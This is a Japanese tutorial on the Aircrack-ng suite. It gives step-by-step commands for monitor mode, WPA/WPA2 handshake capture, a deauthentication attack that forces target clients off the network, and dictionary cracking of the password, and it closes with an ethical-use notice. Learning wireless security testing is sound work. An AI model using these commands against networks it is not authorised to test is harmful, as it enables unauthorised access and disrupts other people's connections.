Aircrack-ngとは
Aircrack-ngは、無線LANのセキュリティ評価を目的とした強力なオープンソースツールです。特にWEPおよびWPA/WPA2ネットワークのセキュリティ強化を支援するために設計されています。このツールを利用することで、以下のようなことが可能です:
- 無線LANの脆弱性を評価
- 不正アクセスの検出
- セキュリティ対策の実践的な検証
Aircrack-ngを始める準備
必要なもの
- Linux環境(例:Kali Linux)
- 無線LANアダプタ(モニターモード対応が必須)
- Aircrack-ngのインストール
Aircrack-ngのインストール
Aircrack-ngは以下のコマンドで簡単にインストールできます:
sudo apt update
sudo apt install aircrack-ng
モニターモード対応デバイスの確認
使用する無線LANアダプタがモニターモードに対応しているか確認します。以下のコマンドを実行し、対応しているかチェックしてください:
iwconfig
Aircrack-ngの使用手順
Step 1 – モニターモードの起動
モニターモードは、周囲のWi-Fi通信を受信できる特別な動作モードです。
- 無線LANアダプタを停止
sudo ifconfig wlan0 down
- モニターモードに変更
sudo iwconfig wlan0 mode monitor
- 無線LANアダプタを再起動
sudo ifconfig wlan0 up
Step 2 – ハンドシェイクの取得
ハンドシェイクは、WPA/WPA2ネットワークで認証中に生成される暗号化情報の断片です。
airodump-ng
を使用してターゲットネットワークを確認sudo airodump-ng wlan0
表示されたリストから、
ターゲットのBSSIDとチャンネル(CH)をメモします。- ハンドシェイクを取得するコマンド
sudo airodump-ng -c <チャンネル番号> --bssid <ターゲットBSSID> -w <保存先ファイル名> wlan0
ハンドシェイクがキャプチャされると、画面の右上に「WPA handshake: <ターゲットBSSID>」と表示されます。
Step 3 – 認証解除攻撃の実施
認証解除攻撃(Deauthentication Attack)は、ターゲットクライアントを強制的に再接続させ、ハンドシェイクをキャプチャするための手法です。
aireplay-ng
を使った攻撃sudo aireplay-ng --deauth <パケット数> -a <ターゲットBSSID> -c <クライアントMACアドレス> wlan0
<パケット数>
には10や20などの値を指定します。<クライアントMACアドレス>
が不明な場合、airodump-ng
で確認可能です。
Step 4 – パスワードのクラック
最後に、収集したハンドシェイクデータを解析してパスワードを割り出します。
- ハンドシェイクデータのクラック
sudo aircrack-ng -w <ワードリストファイル> -b <ターゲットBSSID> <キャプチャファイル>
<ワードリストファイル>
には、辞書攻撃用のファイルパスを指定します。<キャプチャファイル>
は、airodump-ng
で保存したファイル名です。
- 成功時: パスワードが解読されると画面に表示されます。
オプション解説
Aircrack-ngには数多くのオプションがあり、目的に応じて使い分けが可能です。以下はよく使用されるオプションの解説です:
WPA/WPA2解析で役立つオプション
-w
:ワードリストファイルを指定-b
:ターゲットBSSIDを指定-q
:クラック中の出力を抑制
WEP解析に特化したオプション
-n <nbits>
:WEPキーのビット数を指定-f <fudge>
:解析速度を調整
その他の便利オプション
--help
:コマンドの詳細を表示--simd=<option>
:SIMDを活用して速度向上
トラブルシューティング
ハンドシェイクが取得できない
- 解決策: 無線LANアダプタを再起動してモニターモードを確認する。
- 他の方法: ターゲットに複数回認証解除攻撃を試行。
エラーが発生する場合
- “No valid WPA handshakes found” → ハンドシェイクが完全にキャプチャされていない可能性があります。ターゲットに近づくか、別の環境で試す。
セキュリティの重要性とエシカルハッキング
Aircrack-ngを利用する際には、法的制約やエシカルハッキングのルールを遵守してください。自分のネットワークセキュリティをテストする目的でのみ使用し、他人のネットワークへの侵入は厳禁です。
まとめ
Aircrack-ngは、無線LANネットワークの脆弱性を評価するための強力なツールです。本記事では、基本的な使用方法から、トラブルシューティングまでを解説しました。セキュリティ意識を高めるために、引き続き学習を続けてください。